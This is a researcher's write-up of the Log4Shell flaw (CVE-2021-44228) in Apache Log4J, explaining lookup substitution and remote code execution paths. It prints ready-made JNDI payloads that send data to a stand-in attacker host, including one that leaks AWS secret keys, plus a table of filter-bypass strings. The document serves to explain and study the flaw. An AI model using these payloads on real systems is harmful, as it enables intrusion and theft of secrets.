An exploration of CVE-2021-44228 - RCE in Log4J <= 2.14.x

7 minute read Published: 2021-12-10

This page describes some of my digging into CVE-2021-44228 - Remote Code Execution in Apache Log4J <= 2.14.x. This vulnerability arises during the logging of user-provided data, allowing certain malicious strings to trigger network calls and remote code execution among other vulnerabilities. This page aims to document my knowledge of these vectors and vulnerabilities. In short we will be trying to see how we can exploit something like logger.info("User said [" + userInput + "]").

Log4J Background

About Lookups

Log4J provides Lookups in order to allow logging statements to write out metadata at runtime. A developer may for example use this behavior to log the date without having to manually construct the log string. The could do this by setting their logger configuration to look something like the following.

<pattern>$${date:MM-dd-yyyy} %m%n</pattern>

Whilst the above cannot be controlled by a user (being defined in configuration), Log4J versions <= 2.14.x also support similar statements being placed in code (Appendix 1). This may look something like

logger.info("${date:MM-dd-yyyy} Why do the docs use American dates?");
// Logs: 12-10-2021 Why do the docs use American dates?

Many of lookups provide us with useful gadgets to leak information and bypass filters. Chief among these is the ${jndi:...} lookup, which, by leveraging jndi protocols, allows us to make network calls to exfiltrate information, kick-off de-serialization chains for remote code execution, and leak application configuration.

Property Substitution

  1. Lookups can be resolved recursively inside out.
    ${lo${lower:w${up${upper:P}er:e}}r:HELLOWORLD} ==
    ${lo${lower:w${upPer:e}}r:HELLOWORLD} ==
    ${lo${lower:we}r:HELLOWORLD} ==
    ${lower:HELLOWORLD}
    
    Logs: helloworld
    
  2. Lookup types are case-insensitive
    ${LoWeR:HELLOWORLD}
    Logs: helloworld
    
  3. Lookups can be concatenated
    ${${lower:UPPER:}${upper:helloworld}} ==
    ${upper:helloworld}
    Logs: HELLOWORLD
    
  4. Lookups are logged literally if they encounter an error condition
    ${env:NO_SUCH_VAR}
    Logs: ${env:NO_SUCH_VAR}
    
  5. Lookups can default if they encounter an error condition
    ${ctx:doesntExist:-hello}
    Logs: hello
    ${noSuchType:-world}
    Logs: world
    

Vulnerabilities

Preface: Exfiltration

We will rely on the ${jndi:ldap://...} lookup as a primitive for exfiltration. We will leverage the ability of lookups being concatenated in order to append victim information to a network call. This can either be done by appending data to the url, or by utilizing it in a DNS lookup.

In URL: ${jndi:ldap://attacker.example.com:1389/${date:ddMMyyyy}}
In DNS: ${jndi:ldap://${date:ddMMyyyy}.example.com:1389/}

Discovery

Vulnerable targets can be identified by sending a simple exfiltration payload (such as the date one above). If the payload produces a hit on the attacker's server then there is likely a vulnerability. A simple initial exploration payload could look something like

${jndi:ldap://attacker.example.com:1389/victim/${date:ddMMyyyy}/${docker.containerName:-nodocker}/${kubernetes.accountName:-nok8}/${java:runtime}/${sys:user.name}/${main:0:-nocliargs}}

Information Disclosure

Most substitutable values provide meaningful information about the host server. This includes data such as environmental variables, java configuration, and execution environment among others. A List of substitutable values can be found in the Lookups and Property Substitution docs.

Some interesting values are listed here.

PayloadDescription
${env:ENV_VAR}Any environmental variable
${java:runtime}The Java runtime version
${java:vm}The Java VM version
${java:os}The host OS version
${main:0}, ${main:1} ...CLI Args passed to the application
${hostName}Hostname of the host

Stealing Secrets

Given that we can access environmental variables via ${env:ENV_VAR} this opens the door to stealing secrets. For example, the following can be used to steal AWS secret keys.

${jndi:ldap://attacker.example.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}

Remote Code Execution (JNDI injection)

JNDI injection can be used in order to run arbitrary java code in the scope of the application. This technique involves convincing a java application to pull a class from a remote server and including it in the running application. This does however require that the com.sun.jndi.(ldap/rmi).object.trustURLCodebase flag be set to true, which is not the case by default.

Victim                        Attacker
  | <-- 1. ${jndi:ldap://...} -- | 1. Attacker sends payload
  |                              |
  | --- 2. ldap request -------> | 2. Victim makes LDAP request
  |                              |
  | <-- 3. ResourceRef --------- | 3. Attacker LDAP server tells victim to
  |                              |    fetch data elsewhere
  | --- 4. HTTP Request -------> | 4. Victim makes a request to fetch data
  |                              |
  | <-- 5. Class file ---------- | 5. Attack returns a malicious class file
  |                              |    which is included into code
  | 6. RCE Popped                |

In the case that trustURLCodebase is false, the server will not load the ResourceRef.

Remote Code Execution (Deserialization)

Deserialization involves using jndi's RMI wrapper to make a dummy call to an attacker controlled server. As the rmi protocol communicates using java serialization it is then possible to trigger a deserialization vulnerability by returning a malicious serialized object. As with standard deserialization attacks, gadgets must be present in the target's environment in order to leverage the deserialization. Common libraries such as hibernate have adequate gadgets to execute code.

Victim                        Attacker
  | <-- 1. ${jndi:rmi://...} --- | 1. Attacker sends payload
  |                              |
  | --- 2. rmi call -----------> | 2. Victim makes RMI call request
  |                              |
  | <-- 3. Serialized Payload -- | 3. Attacker sends a response which 
  |                              |    contains a malicious serialized object
  | 4. RCE Popped                |

Filter Bypasses

By chaining ${...} properties it becomes trivially possible to bypass naive filters.

Some examples

PayloadDescription
${jNdI}Simple /jndi/ filter
${j${lower:N}di}Simple /jndi/i filter
${j${env:XXX:-n}di}Simple /jndi/i filter
${j${env:XXX:-}ndi}Simple /jndi/i filter
${j${invalid:-n}di}Simple /jndi\|env\|lower\|upper/i filter
${${ctx:myPayload}}If you are able to place input into ThreadContext
$, {env:USER}E.g. logger.info(userInput1+userInput2)
${${env:X:-}jndi:ldap://...}Canary, request is only made if X is set

Log4j also has a ${base64:base64EncodedString} property, however I have not been able to get this to work.

Mitigation

Tools

I've published helper scripts, vulnerable applications, and sample exploits at uint0/cve-2021-44228-helpers. This includes

feihong-cs/JNDIExploit and veracode-research/rogue-jndi are useful for jndi injection exploits.

frohoff/ysoserial contains many useful deserialization exploits.

Appendix

Lookups / JNDI Lookups in Log4J >= 2.15.x

Lookups are opt-in in 2.15.x and require the user to specify a %msg{lookup} formatter in their config. Additionally LDAP JNDI lookups have had their scope restricted to a set of allowed hosts. From the 2.15.0 Release Notes

Prior to this release Log4j would automatically resolve Lookups contained in the message or its parameters in the Pattern Layout. Thisbehavior is no longer the default and must be enabled by specifying %msg{lookup}.

The JNDI Lookup has been restricted to only support the java, ldap, and ldaps protocols by default. LDAP also no longer supports classes that implement the Referenceable interface and restricts the Serializable classes to the Java primative classes by default and requires an allow list to be specified to access remote LDAP servers.

References

Log4j Lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html

Log4j Property Substitution: https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution

Log4J 2.15.x release notes: https://github.com/apache/logging-log4j2/blob/rel/2.15.0/RELEASE-NOTES.md